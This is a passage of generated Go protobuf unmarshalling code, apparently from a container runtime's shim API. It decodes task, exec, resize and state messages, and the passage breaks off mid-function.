} 3119 | func (m *CreateTaskResponse) Unmarshal(dAtA []byte) error { 3120 | l := len(dAtA) 3121 | iNdEx := 0 3122 | for iNdEx < l { 3123 | preIndex := iNdEx 3124 | var wire uint64 3125 | for shift := uint(0); ; shift += 7 { 3126 | if shift >= 64 { 3127 | return ErrIntOverflowShim 3128 | } 3129 | if iNdEx >= l { 3130 | return io.ErrUnexpectedEOF 3131 | } 3132 | b := dAtA[iNdEx] 3133 | iNdEx++ 3134 | wire |= uint64(b&0x7F) << shift 3135 | if b < 0x80 { 3136 | break 3137 | } 3138 | } 3139 | fieldNum := int32(wire >> 3) 3140 | wireType := int(wire & 0x7) 3141 | if wireType == 4 { 3142 | return fmt.Errorf("proto: CreateTaskResponse: wiretype end group for non-group") 3143 | } 3144 | if fieldNum <= 0 { 3145 | return fmt.Errorf("proto: CreateTaskResponse: illegal tag %d (wire type %d)", fieldNum, wire) 3146 | } 3147 | switch fieldNum { 3148 | case 1: 3149 | if wireType != 0 { 3150 | return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) 3151 | } 3152 | m.Pid = 0 3153 | for shift := uint(0); ; shift += 7 { 3154 | if shift >= 64 { 3155 | return ErrIntOverflowShim 3156 | } 3157 | if iNdEx >= l { 3158 | return io.ErrUnexpectedEOF 3159 | } 3160 | b := dAtA[iNdEx] 3161 | iNdEx++ 3162 | m.Pid |= uint32(b&0x7F) << shift 3163 | if b < 0x80 { 3164 | break 3165 | } 3166 | } 3167 | default: 3168 | iNdEx = preIndex 3169 | skippy, err := skipShim(dAtA[iNdEx:]) 3170 | if err != nil { 3171 | return err 3172 | } 3173 | if skippy < 0 { 3174 | return ErrInvalidLengthShim 3175 | } 3176 | if (iNdEx + skippy) < 0 { 3177 | return ErrInvalidLengthShim 3178 | } 3179 | if (iNdEx + skippy) > l { 3180 | return io.ErrUnexpectedEOF 3181 | } 3182 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3183 | iNdEx += skippy 3184 | } 3185 | } 3186 | 3187 | if iNdEx > l { 3188 | return io.ErrUnexpectedEOF 3189 | } 3190 | return nil 3191 | } 3192 | func (m *DeleteResponse) Unmarshal(dAtA []byte) error { 3193 | l := len(dAtA) 3194 | iNdEx := 0 3195 | for iNdEx < l { 3196 | preIndex := iNdEx 3197 | var wire uint64 3198 | for shift := uint(0); ; shift += 7 { 3199 | if shift >= 64 { 3200 | return ErrIntOverflowShim 3201 | } 3202 | if iNdEx >= l { 3203 | return io.ErrUnexpectedEOF 3204 | } 3205 | b := dAtA[iNdEx] 3206 | iNdEx++ 3207 | wire |= uint64(b&0x7F) << shift 3208 | if b < 0x80 { 3209 | break 3210 | } 3211 | } 3212 | fieldNum := int32(wire >> 3) 3213 | wireType := int(wire & 0x7) 3214 | if wireType == 4 { 3215 | return fmt.Errorf("proto: DeleteResponse: wiretype end group for non-group") 3216 | } 3217 | if fieldNum <= 0 { 3218 | return fmt.Errorf("proto: DeleteResponse: illegal tag %d (wire type %d)", fieldNum, wire) 3219 | } 3220 | switch fieldNum { 3221 | case 1: 3222 | if wireType != 0 { 3223 | return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) 3224 | } 3225 | m.Pid = 0 3226 | for shift := uint(0); ; shift += 7 { 3227 | if shift >= 64 { 3228 | return ErrIntOverflowShim 3229 | } 3230 | if iNdEx >= l { 3231 | return io.ErrUnexpectedEOF 3232 | } 3233 | b := dAtA[iNdEx] 3234 | iNdEx++ 3235 | m.Pid |= uint32(b&0x7F) << shift 3236 | if b < 0x80 { 3237 | break 3238 | } 3239 | } 3240 | case 2: 3241 | if wireType != 0 { 3242 | return fmt.Errorf("proto: wrong wireType = %d for field ExitStatus", wireType) 3243 | } 3244 | m.ExitStatus = 0 3245 | for shift := uint(0); ; shift += 7 { 3246 | if shift >= 64 { 3247 | return ErrIntOverflowShim 3248 | } 3249 | if iNdEx >= l { 3250 | return io.ErrUnexpectedEOF 3251 | } 3252 | b := dAtA[iNdEx] 3253 | iNdEx++ 3254 | m.ExitStatus |= uint32(b&0x7F) << shift 3255 | if b < 0x80 { 3256 | break 3257 | } 3258 | } 3259 | case 3: 3260 | if wireType != 2 { 3261 | return fmt.Errorf("proto: wrong wireType = %d for field ExitedAt", wireType) 3262 | } 3263 | var msglen int 3264 | for shift := uint(0); ; shift += 7 { 3265 | if shift >= 64 { 3266 | return ErrIntOverflowShim 3267 | } 3268 | if iNdEx >= l { 3269 | return io.ErrUnexpectedEOF 3270 | } 3271 | b := dAtA[iNdEx] 3272 | iNdEx++ 3273 | msglen |= int(b&0x7F) << shift 3274 | if b < 0x80 { 3275 | break 3276 | } 3277 | } 3278 | if msglen < 0 { 3279 | return ErrInvalidLengthShim 3280 | } 3281 | postIndex := iNdEx + msglen 3282 | if postIndex < 0 { 3283 | return ErrInvalidLengthShim 3284 | } 3285 | if postIndex > l { 3286 | return io.ErrUnexpectedEOF 3287 | } 3288 | if err := github_com_gogo_protobuf_types.StdTimeUnmarshal(&m.ExitedAt, dAtA[iNdEx:postIndex]); err != nil { 3289 | return err 3290 | } 3291 | iNdEx = postIndex 3292 | default: 3293 | iNdEx = preIndex 3294 | skippy, err := skipShim(dAtA[iNdEx:]) 3295 | if err != nil { 3296 | return err 3297 | } 3298 | if skippy < 0 { 3299 | return ErrInvalidLengthShim 3300 | } 3301 | if (iNdEx + skippy) < 0 { 3302 | return ErrInvalidLengthShim 3303 | } 3304 | if (iNdEx + skippy) > l { 3305 | return io.ErrUnexpectedEOF 3306 | } 3307 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3308 | iNdEx += skippy 3309 | } 3310 | } 3311 | 3312 | if iNdEx > l { 3313 | return io.ErrUnexpectedEOF 3314 | } 3315 | return nil 3316 | } 3317 | func (m *DeleteProcessRequest) Unmarshal(dAtA []byte) error { 3318 | l := len(dAtA) 3319 | iNdEx := 0 3320 | for iNdEx < l { 3321 | preIndex := iNdEx 3322 | var wire uint64 3323 | for shift := uint(0); ; shift += 7 { 3324 | if shift >= 64 { 3325 | return ErrIntOverflowShim 3326 | } 3327 | if iNdEx >= l { 3328 | return io.ErrUnexpectedEOF 3329 | } 3330 | b := dAtA[iNdEx] 3331 | iNdEx++ 3332 | wire |= uint64(b&0x7F) << shift 3333 | if b < 0x80 { 3334 | break 3335 | } 3336 | } 3337 | fieldNum := int32(wire >> 3) 3338 | wireType := int(wire & 0x7) 3339 | if wireType == 4 { 3340 | return fmt.Errorf("proto: DeleteProcessRequest: wiretype end group for non-group") 3341 | } 3342 | if fieldNum <= 0 { 3343 | return fmt.Errorf("proto: DeleteProcessRequest: illegal tag %d (wire type %d)", fieldNum, wire) 3344 | } 3345 | switch fieldNum { 3346 | case 1: 3347 | if wireType != 2 { 3348 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 3349 | } 3350 | var stringLen uint64 3351 | for shift := uint(0); ; shift += 7 { 3352 | if shift >= 64 { 3353 | return ErrIntOverflowShim 3354 | } 3355 | if iNdEx >= l { 3356 | return io.ErrUnexpectedEOF 3357 | } 3358 | b := dAtA[iNdEx] 3359 | iNdEx++ 3360 | stringLen |= uint64(b&0x7F) << shift 3361 | if b < 0x80 { 3362 | break 3363 | } 3364 | } 3365 | intStringLen := int(stringLen) 3366 | if intStringLen < 0 { 3367 | return ErrInvalidLengthShim 3368 | } 3369 | postIndex := iNdEx + intStringLen 3370 | if postIndex < 0 { 3371 | return ErrInvalidLengthShim 3372 | } 3373 | if postIndex > l { 3374 | return io.ErrUnexpectedEOF 3375 | } 3376 | m.ID = string(dAtA[iNdEx:postIndex]) 3377 | iNdEx = postIndex 3378 | default: 3379 | iNdEx = preIndex 3380 | skippy, err := skipShim(dAtA[iNdEx:]) 3381 | if err != nil { 3382 | return err 3383 | } 3384 | if skippy < 0 { 3385 | return ErrInvalidLengthShim 3386 | } 3387 | if (iNdEx + skippy) < 0 { 3388 | return ErrInvalidLengthShim 3389 | } 3390 | if (iNdEx + skippy) > l { 3391 | return io.ErrUnexpectedEOF 3392 | } 3393 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3394 | iNdEx += skippy 3395 | } 3396 | } 3397 | 3398 | if iNdEx > l { 3399 | return io.ErrUnexpectedEOF 3400 | } 3401 | return nil 3402 | } 3403 | func (m *ExecProcessRequest) Unmarshal(dAtA []byte) error { 3404 | l := len(dAtA) 3405 | iNdEx := 0 3406 | for iNdEx < l { 3407 | preIndex := iNdEx 3408 | var wire uint64 3409 | for shift := uint(0); ; shift += 7 { 3410 | if shift >= 64 { 3411 | return ErrIntOverflowShim 3412 | } 3413 | if iNdEx >= l { 3414 | return io.ErrUnexpectedEOF 3415 | } 3416 | b := dAtA[iNdEx] 3417 | iNdEx++ 3418 | wire |= uint64(b&0x7F) << shift 3419 | if b < 0x80 { 3420 | break 3421 | } 3422 | } 3423 | fieldNum := int32(wire >> 3) 3424 | wireType := int(wire & 0x7) 3425 | if wireType == 4 { 3426 | return fmt.Errorf("proto: ExecProcessRequest: wiretype end group for non-group") 3427 | } 3428 | if fieldNum <= 0 { 3429 | return fmt.Errorf("proto: ExecProcessRequest: illegal tag %d (wire type %d)", fieldNum, wire) 3430 | } 3431 | switch fieldNum { 3432 | case 1: 3433 | if wireType != 2 { 3434 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 3435 | } 3436 | var stringLen uint64 3437 | for shift := uint(0); ; shift += 7 { 3438 | if shift >= 64 { 3439 | return ErrIntOverflowShim 3440 | } 3441 | if iNdEx >= l { 3442 | return io.ErrUnexpectedEOF 3443 | } 3444 | b := dAtA[iNdEx] 3445 | iNdEx++ 3446 | stringLen |= uint64(b&0x7F) << shift 3447 | if b < 0x80 { 3448 | break 3449 | } 3450 | } 3451 | intStringLen := int(stringLen) 3452 | if intStringLen < 0 { 3453 | return ErrInvalidLengthShim 3454 | } 3455 | postIndex := iNdEx + intStringLen 3456 | if postIndex < 0 { 3457 | return ErrInvalidLengthShim 3458 | } 3459 | if postIndex > l { 3460 | return io.ErrUnexpectedEOF 3461 | } 3462 | m.ID = string(dAtA[iNdEx:postIndex]) 3463 | iNdEx = postIndex 3464 | case 2: 3465 | if wireType != 0 { 3466 | return fmt.Errorf("proto: wrong wireType = %d for field Terminal", wireType) 3467 | } 3468 | var v int 3469 | for shift := uint(0); ; shift += 7 { 3470 | if shift >= 64 { 3471 | return ErrIntOverflowShim 3472 | } 3473 | if iNdEx >= l { 3474 | return io.ErrUnexpectedEOF 3475 | } 3476 | b := dAtA[iNdEx] 3477 | iNdEx++ 3478 | v |= int(b&0x7F) << shift 3479 | if b < 0x80 { 3480 | break 3481 | } 3482 | } 3483 | m.Terminal = bool(v != 0) 3484 | case 3: 3485 | if wireType != 2 { 3486 | return fmt.Errorf("proto: wrong wireType = %d for field Stdin", wireType) 3487 | } 3488 | var stringLen uint64 3489 | for shift := uint(0); ; shift += 7 { 3490 | if shift >= 64 { 3491 | return ErrIntOverflowShim 3492 | } 3493 | if iNdEx >= l { 3494 | return io.ErrUnexpectedEOF 3495 | } 3496 | b := dAtA[iNdEx] 3497 | iNdEx++ 3498 | stringLen |= uint64(b&0x7F) << shift 3499 | if b < 0x80 { 3500 | break 3501 | } 3502 | } 3503 | intStringLen := int(stringLen) 3504 | if intStringLen < 0 { 3505 | return ErrInvalidLengthShim 3506 | } 3507 | postIndex := iNdEx + intStringLen 3508 | if postIndex < 0 { 3509 | return ErrInvalidLengthShim 3510 | } 3511 | if postIndex > l { 3512 | return io.ErrUnexpectedEOF 3513 | } 3514 | m.Stdin = string(dAtA[iNdEx:postIndex]) 3515 | iNdEx = postIndex 3516 | case 4: 3517 | if wireType != 2 { 3518 | return fmt.Errorf("proto: wrong wireType = %d for field Stdout", wireType) 3519 | } 3520 | var stringLen uint64 3521 | for shift := uint(0); ; shift += 7 { 3522 | if shift >= 64 { 3523 | return ErrIntOverflowShim 3524 | } 3525 | if iNdEx >= l { 3526 | return io.ErrUnexpectedEOF 3527 | } 3528 | b := dAtA[iNdEx] 3529 | iNdEx++ 3530 | stringLen |= uint64(b&0x7F) << shift 3531 | if b < 0x80 { 3532 | break 3533 | } 3534 | } 3535 | intStringLen := int(stringLen) 3536 | if intStringLen < 0 { 3537 | return ErrInvalidLengthShim 3538 | } 3539 | postIndex := iNdEx + intStringLen 3540 | if postIndex < 0 { 3541 | return ErrInvalidLengthShim 3542 | } 3543 | if postIndex > l { 3544 | return io.ErrUnexpectedEOF 3545 | } 3546 | m.Stdout = string(dAtA[iNdEx:postIndex]) 3547 | iNdEx = postIndex 3548 | case 5: 3549 | if wireType != 2 { 3550 | return fmt.Errorf("proto: wrong wireType = %d for field Stderr", wireType) 3551 | } 3552 | var stringLen uint64 3553 | for shift := uint(0); ; shift += 7 { 3554 | if shift >= 64 { 3555 | return ErrIntOverflowShim 3556 | } 3557 | if iNdEx >= l { 3558 | return io.ErrUnexpectedEOF 3559 | } 3560 | b := dAtA[iNdEx] 3561 | iNdEx++ 3562 | stringLen |= uint64(b&0x7F) << shift 3563 | if b < 0x80 { 3564 | break 3565 | } 3566 | } 3567 | intStringLen := int(stringLen) 3568 | if intStringLen < 0 { 3569 | return ErrInvalidLengthShim 3570 | } 3571 | postIndex := iNdEx + intStringLen 3572 | if postIndex < 0 { 3573 | return ErrInvalidLengthShim 3574 | } 3575 | if postIndex > l { 3576 | return io.ErrUnexpectedEOF 3577 | } 3578 | m.Stderr = string(dAtA[iNdEx:postIndex]) 3579 | iNdEx = postIndex 3580 | case 6: 3581 | if wireType != 2 { 3582 | return fmt.Errorf("proto: wrong wireType = %d for field Spec", wireType) 3583 | } 3584 | var msglen int 3585 | for shift := uint(0); ; shift += 7 { 3586 | if shift >= 64 { 3587 | return ErrIntOverflowShim 3588 | } 3589 | if iNdEx >= l { 3590 | return io.ErrUnexpectedEOF 3591 | } 3592 | b := dAtA[iNdEx] 3593 | iNdEx++ 3594 | msglen |= int(b&0x7F) << shift 3595 | if b < 0x80 { 3596 | break 3597 | } 3598 | } 3599 | if msglen < 0 { 3600 | return ErrInvalidLengthShim 3601 | } 3602 | postIndex := iNdEx + msglen 3603 | if postIndex < 0 { 3604 | return ErrInvalidLengthShim 3605 | } 3606 | if postIndex > l { 3607 | return io.ErrUnexpectedEOF 3608 | } 3609 | if m.Spec == nil { 3610 | m.Spec = &types1.Any{} 3611 | } 3612 | if err := m.Spec.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 3613 | return err 3614 | } 3615 | iNdEx = postIndex 3616 | default: 3617 | iNdEx = preIndex 3618 | skippy, err := skipShim(dAtA[iNdEx:]) 3619 | if err != nil { 3620 | return err 3621 | } 3622 | if skippy < 0 { 3623 | return ErrInvalidLengthShim 3624 | } 3625 | if (iNdEx + skippy) < 0 { 3626 | return ErrInvalidLengthShim 3627 | } 3628 | if (iNdEx + skippy) > l { 3629 | return io.ErrUnexpectedEOF 3630 | } 3631 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3632 | iNdEx += skippy 3633 | } 3634 | } 3635 | 3636 | if iNdEx > l { 3637 | return io.ErrUnexpectedEOF 3638 | } 3639 | return nil 3640 | } 3641 | func (m *ExecProcessResponse) Unmarshal(dAtA []byte) error { 3642 | l := len(dAtA) 3643 | iNdEx := 0 3644 | for iNdEx < l { 3645 | preIndex := iNdEx 3646 | var wire uint64 3647 | for shift := uint(0); ; shift += 7 { 3648 | if shift >= 64 { 3649 | return ErrIntOverflowShim 3650 | } 3651 | if iNdEx >= l { 3652 | return io.ErrUnexpectedEOF 3653 | } 3654 | b := dAtA[iNdEx] 3655 | iNdEx++ 3656 | wire |= uint64(b&0x7F) << shift 3657 | if b < 0x80 { 3658 | break 3659 | } 3660 | } 3661 | fieldNum := int32(wire >> 3) 3662 | wireType := int(wire & 0x7) 3663 | if wireType == 4 { 3664 | return fmt.Errorf("proto: ExecProcessResponse: wiretype end group for non-group") 3665 | } 3666 | if fieldNum <= 0 { 3667 | return fmt.Errorf("proto: ExecProcessResponse: illegal tag %d (wire type %d)", fieldNum, wire) 3668 | } 3669 | switch fieldNum { 3670 | default: 3671 | iNdEx = preIndex 3672 | skippy, err := skipShim(dAtA[iNdEx:]) 3673 | if err != nil { 3674 | return err 3675 | } 3676 | if skippy < 0 { 3677 | return ErrInvalidLengthShim 3678 | } 3679 | if (iNdEx + skippy) < 0 { 3680 | return ErrInvalidLengthShim 3681 | } 3682 | if (iNdEx + skippy) > l { 3683 | return io.ErrUnexpectedEOF 3684 | } 3685 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3686 | iNdEx += skippy 3687 | } 3688 | } 3689 | 3690 | if iNdEx > l { 3691 | return io.ErrUnexpectedEOF 3692 | } 3693 | return nil 3694 | } 3695 | func (m *ResizePtyRequest) Unmarshal(dAtA []byte) error { 3696 | l := len(dAtA) 3697 | iNdEx := 0 3698 | for iNdEx < l { 3699 | preIndex := iNdEx 3700 | var wire uint64 3701 | for shift := uint(0); ; shift += 7 { 3702 | if shift >= 64 { 3703 | return ErrIntOverflowShim 3704 | } 3705 | if iNdEx >= l { 3706 | return io.ErrUnexpectedEOF 3707 | } 3708 | b := dAtA[iNdEx] 3709 | iNdEx++ 3710 | wire |= uint64(b&0x7F) << shift 3711 | if b < 0x80 { 3712 | break 3713 | } 3714 | } 3715 | fieldNum := int32(wire >> 3) 3716 | wireType := int(wire & 0x7) 3717 | if wireType == 4 { 3718 | return fmt.Errorf("proto: ResizePtyRequest: wiretype end group for non-group") 3719 | } 3720 | if fieldNum <= 0 { 3721 | return fmt.Errorf("proto: ResizePtyRequest: illegal tag %d (wire type %d)", fieldNum, wire) 3722 | } 3723 | switch fieldNum { 3724 | case 1: 3725 | if wireType != 2 { 3726 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 3727 | } 3728 | var stringLen uint64 3729 | for shift := uint(0); ; shift += 7 { 3730 | if shift >= 64 { 3731 | return ErrIntOverflowShim 3732 | } 3733 | if iNdEx >= l { 3734 | return io.ErrUnexpectedEOF 3735 | } 3736 | b := dAtA[iNdEx] 3737 | iNdEx++ 3738 | stringLen |= uint64(b&0x7F) << shift 3739 | if b < 0x80 { 3740 | break 3741 | } 3742 | } 3743 | intStringLen := int(stringLen) 3744 | if intStringLen < 0 { 3745 | return ErrInvalidLengthShim 3746 | } 3747 | postIndex := iNdEx + intStringLen 3748 | if postIndex < 0 { 3749 | return ErrInvalidLengthShim 3750 | } 3751 | if postIndex > l { 3752 | return io.ErrUnexpectedEOF 3753 | } 3754 | m.ID = string(dAtA[iNdEx:postIndex]) 3755 | iNdEx = postIndex 3756 | case 2: 3757 | if wireType != 0 { 3758 | return fmt.Errorf("proto: wrong wireType = %d for field Width", wireType) 3759 | } 3760 | m.Width = 0 3761 | for shift := uint(0); ; shift += 7 { 3762 | if shift >= 64 { 3763 | return ErrIntOverflowShim 3764 | } 3765 | if iNdEx >= l { 3766 | return io.ErrUnexpectedEOF 3767 | } 3768 | b := dAtA[iNdEx] 3769 | iNdEx++ 3770 | m.Width |= uint32(b&0x7F) << shift 3771 | if b < 0x80 { 3772 | break 3773 | } 3774 | } 3775 | case 3: 3776 | if wireType != 0 { 3777 | return fmt.Errorf("proto: wrong wireType = %d for field Height", wireType) 3778 | } 3779 | m.Height = 0 3780 | for shift := uint(0); ; shift += 7 { 3781 | if shift >= 64 { 3782 | return ErrIntOverflowShim 3783 | } 3784 | if iNdEx >= l { 3785 | return io.ErrUnexpectedEOF 3786 | } 3787 | b := dAtA[iNdEx] 3788 | iNdEx++ 3789 | m.Height |= uint32(b&0x7F) << shift 3790 | if b < 0x80 { 3791 | break 3792 | } 3793 | } 3794 | default: 3795 | iNdEx = preIndex 3796 | skippy, err := skipShim(dAtA[iNdEx:]) 3797 | if err != nil { 3798 | return err 3799 | } 3800 | if skippy < 0 { 3801 | return ErrInvalidLengthShim 3802 | } 3803 | if (iNdEx + skippy) < 0 { 3804 | return ErrInvalidLengthShim 3805 | } 3806 | if (iNdEx + skippy) > l { 3807 | return io.ErrUnexpectedEOF 3808 | } 3809 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3810 | iNdEx += skippy 3811 | } 3812 | } 3813 | 3814 | if iNdEx > l { 3815 | return io.ErrUnexpectedEOF 3816 | } 3817 | return nil 3818 | } 3819 | func (m *StateRequest) Unmarshal(dAtA []byte) error { 3820 | l := len(dAtA) 3821 | iNdEx := 0 3822 | for iNdEx < l { 3823 | preIndex := iNdEx 3824 | var wire uint64 3825 | for shift := uint(0); ; shift += 7 { 3826 | if shift >= 64 { 3827 | return ErrIntOverflowShim 3828 | } 3829 | if iNdEx >= l { 3830 | return io.ErrUnexpectedEOF 3831 | } 3832 | b := dAtA[iNdEx] 3833 | iNdEx++ 3834 | wire |= uint64(b&0x7F) << shift 3835 | if b < 0x80 { 3836 | break 3837 | } 3838 | } 3839 | fieldNum := int32(wire >> 3) 3840 | wireType := int(wire & 0x7) 3841 | if wireType == 4 { 3842 | return fmt.Errorf("proto: StateRequest: wiretype end group for non-group") 3843 | } 3844 | if fieldNum <= 0 { 3845 | return fmt.Errorf("proto: StateRequest: illegal tag %d (wire type %d)", fieldNum, wire) 3846 | } 3847 | switch fieldNum { 3848 | case 1: 3849 | if wireType != 2 { 3850 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 3851 | } 3852 | var stringLen uint64 3853 | for shift := uint(0); ; shift += 7 { 3854 | if shift >= 64 { 3855 | return ErrIntOverflowShim 3856 | } 3857 | if iNdEx >= l { 3858 | return io.ErrUnexpectedEOF 3859 | } 3860 | b := dAtA[iNdEx] 3861 | iNdEx++ 3862 | stringLen |= uint64(b&0x7F) << shift 3863 | if b < 0x80 { 3864 | break 3865 | } 3866 | } 3867 | intStringLen := int(stringLen) 3868 | if intStringLen < 0 { 3869 | return ErrInvalidLengthShim 3870 | } 3871 | postIndex := iNdEx + intStringLen 3872 | if postIndex < 0 { 3873 | return ErrInvalidLengthShim 3874 | } 3875 | if postIndex > l { 3876 | return io.ErrUnexpectedEOF 3877 | } 3878 | m.ID = string(dAtA[iNdEx:postIndex]) 3879 | iNdEx = postIndex 3880 | default: 3881 | iNdEx = preIndex 3882 | skippy, err := skipShim(dAtA[iNdEx:]) 3883 | if err != nil { 3884 | return err 3885 | } 3886 | if skippy < 0 { 3887 | return ErrInvalidLengthShim 3888 | } 3889 | if (iNdEx + skippy) < 0 { 3890 | return ErrInvalidLengthShim 3891 | } 3892 | if (iNdEx + skippy) > l { 3893 | return io.ErrUnexpectedEOF 3894 | } 3895 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3896 | iNdEx += skippy 3897 | } 3898 | } 3899 | 3900 | if iNdEx > l { 3901 | return io.ErrUnexpectedEOF 3902 | } 3903 | return nil 3904 | } 3905 | func (m *StateResponse) Unmarshal(dAtA []byte) error { 3906 | l := len(dAtA) 3907 | iNdEx := 0 3908 | for iNdEx < l { 3909 | preIndex := iNdEx 3910 | var wire uint64 3911 | for shift := uint(0); ; shift += 7 { 3912 | if shift >= 64 { 3913 | return ErrIntOverflowShim 3914 | } 3915 | if iNdEx >= l { 3916 | return io.ErrUnexpectedEOF 3917 | } 3918 | b := dAtA[iNdEx] 3919 | iNdEx++ 3920 | wire |= uint64(b&0x7F) << shift 3921 | if b < 0x80 { 3922 | break 3923 | } 3924 | } 3925 | fieldNum := int32(wire >> 3) 3926 | wireType := int(wire & 0x7) 3927 | if wireType == 4 { 3928 | return fmt.Errorf("proto: StateResponse: wiretype end group for non-group") 3929 | } 3930 | if fieldNum <= 0 { 3931 | return fmt.Errorf("proto: StateResponse: illegal tag %d (wire type %d)", fieldNum, wire) 3932 | } 3933 | switch fieldNum { 3934 | case 1: 3935 | if wireType != 2 { 3936 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 3937 | } 3938 | var stringLen uint64 3939 | for shift := uint(0); ; shift += 7 { 3940 | if shift >= 64 { 3941 | return ErrIntOverflowShim 3942 | } 3943 | if iNdEx >= l { 3944 | return io.ErrUnexpectedEOF 3945 | } 3946 | b := dAtA[iNdEx] 3947 | iNdEx++ 3948 | stringLen |= uint64(b&0x7F) << shift 3949 | if b < 0x80 { 3950 | break 3951 | } 3952 | } 3953 | intStringLen := int(stringLen) 3954 | if intStringLen < 0 { 3955 | return ErrInvalidLengthShim 3956 | } 3957 | postIndex := iNdEx + intStringLen 3958 | if postIndex < 0 { 3959 | return ErrInvalidLengthShim 3960 | } 3961 | if postIndex > l { 3962 | return io.ErrUnexpectedEOF 3963 | } 3964 | m.ID = string(dAtA[iNdEx:postIndex]) 3965 | iNdEx = postIndex 3966 | case 2: 3967 | if wireType != 2 { 3968 | return fmt.Errorf("proto: wrong wireType = %d for field Bundle", wireType) 3969 | } 3970 | var stringLen uint64 3971 | for shift := uint(0); ; shift += 7 { 3972 | if shift >= 64 { 3973 | return ErrIntOverflowShim 3974 | } 3975 | if iNdEx >= l { 3976 | return io.ErrUnexpectedEOF 3977 | } 3978 | b := dAtA[iNdEx] 3979 | iNdEx++ 3980 | stringLen |= uint64(b&0x7F) << shift 3981 | if b < 0x80 { 3982 | break 3983 | } 3984 | } 3985 | intStringLen := int(stringLen) 3986 | if intStringLen < 0 { 3987 | return ErrInvalidLengthShim 3988 | } 3989 | postIndex := iNdEx + intStringLen 3990 | if postIndex < 0 { 3991 | return ErrInvalidLengthShim 3992 | } 3993 | if postIndex > l { 3994 | return io.ErrUnexpectedEOF 3995 | } 3996 | m.Bundle = string(dAtA[iNdEx:postIndex]) 3997 | iNdEx = postIndex 3998 | case 3: 3999 | if wireType != 0 { 4000 | return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) 4001 | } 4002 | m.Pid = 0 4003 | for shift := uint(0); ; shift += 7 { 4004 | if shift >= 64 { 4005 | return ErrIntOverflowShim 4006 | } 4007 | if iNdEx >= l { 4008 | return io.ErrUnexpectedEOF 4009 | } 4010 | b := dAtA[iNdEx] 4011 | iNdEx++ 4012 | m.Pid |= uint32(b&0x7F) << shift 4013 | if b < 0x80 { 4014 | break 4015 | } 4016 | } 4017 | case 4: 4018 | if wireType != 0 { 4019 | return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType) 4020 | } 4021 | m.Status = 0 4022 | for shift := uint(0); ; shift += 7 { 4023 | if shift >= 64 { 4024 | return ErrIntOverflowShim 4025 | } 4026 | if iNdEx >= l { 4027 | return io.ErrUnexpectedEOF 4028 | } 4029 | b := dAtA[iNdEx] 4030 | iNdEx++ 4031 | m.Status |= task.Status(b&0x7F) << shift 4032 | if b < 0x80 { 4033 | break 4034 | } 4035 | } 4036 | case 5: 4037 | if wireType != 2 { 4038 | return fmt.Errorf("proto: wrong wireType = %d for field Stdin", wireType) 4039 | } 4040 | var stringLen uint64 4041 | for shift := uint(0); ; shift += 7 { 4042 | if shift >= 64 { 4043 | return ErrIntOverflowShim 4044 | } 4045 | if iNdEx >= l { 4046 | return io.ErrUnexpectedEOF 4047 | } 4048 | b := dAtA[iNdEx] 4049 | iNdEx++ 4050 | stringLen |= uint64(b&0x7F) << shift 4051 | if b < 0x80 { 4052 | break 4053 | } 4054 | } 4055 | intStringLen := int(stringLen) 4056 | if intStringLen < 0 { 4057 | return ErrInvalidLengthShim 4058 | } 4059 | postIndex := iNdEx + intStringLen 4060 | if postIndex < 0 { 4061 | return ErrInvalidLengthShim 4062 | } 4063 | if postIndex > l { 4064 | return io.ErrUnexpectedEOF 4065 | } 4066 | m.Stdin = string(dAtA[iNdEx:postIndex]) 4067 | iNdEx = postIndex 4068 | case 6: 4069 | if wireType != 2 { 4070 | return fmt.Errorf("proto: wrong wireType = %d for field Stdout", wireType) 4071 | } 4072 | var stringLen uint64 4073 | for shift := uint(0); ; shift += 7 { 4074 | if shift >= 64 { 4075 | return ErrIntOverflowShim 4076 | } 4077 | if iNdEx >= l { 4078 | return io.ErrUnexpectedEOF 4079 | } 4080 | b := dAtA[iNdEx] 4081 | iNdEx++ 4082 | stringLen |= uint64(b&0x7F) << shift 4083 | if b < 0x80 { 4084 | break 4085 | } 4086 | } 4087 | intStringLen := int(stringLen) 4088 | if intStringLen < 0 { 4089 | return ErrInvalidLengthShim 4090 | } 4091 | postIndex := iNdEx + intStringLen 4092 | if postIndex < 0 { 4093 | return ErrInvalidLengthShim 4094 | } 4095 | if postIndex > l { 4096 | return io.ErrUnexpectedEOF 4097 | } 4098 | m.Stdout = string(dAtA[iNdEx:postIndex]) 4099 | iNdEx = postIndex 4100 | case 7: 4101 | if wireType != 2 { 4102 | return fmt.Errorf("proto: wrong wireType = %d for field Stderr", wireType) 4103 | } 4104 | var stringLen uint64 4105 | for shift := uint(0); ; shift += 7 { 4106 | if shift >= 64 { 4107 | return ErrIntOverflowShim 4108 | } 4109 | if iNdEx >= l { 4110 | return io.ErrUnexpectedEOF 4111 | } 4112 | b := dAtA[iNdEx] 4113 | iNdEx++ 4114 | stringLen |= uint64(b&0x7F) << shift 4115 | if b < 0x80 { 4116 | break 4117 | } 4118 | } 4119 | intStringLen := int(stringLen) 4120 | if intStringLen < 0 { 4121 | return ErrInvalidLengthShim 4122 | } 4123 | postIndex := iNdEx + intStringLen 4124 | if postIndex < 0 { 4125 | return ErrInvalidLengthShim 4126 | } 4127 | if postIndex > l { 4128 | return io.ErrUnexpectedEOF 4129 | } 4130 | m.Stderr = string(dAtA[iNdEx:postIndex]) 4131 | iNdEx = postIndex 4132 | case 8: 4133 | if wireType != 0 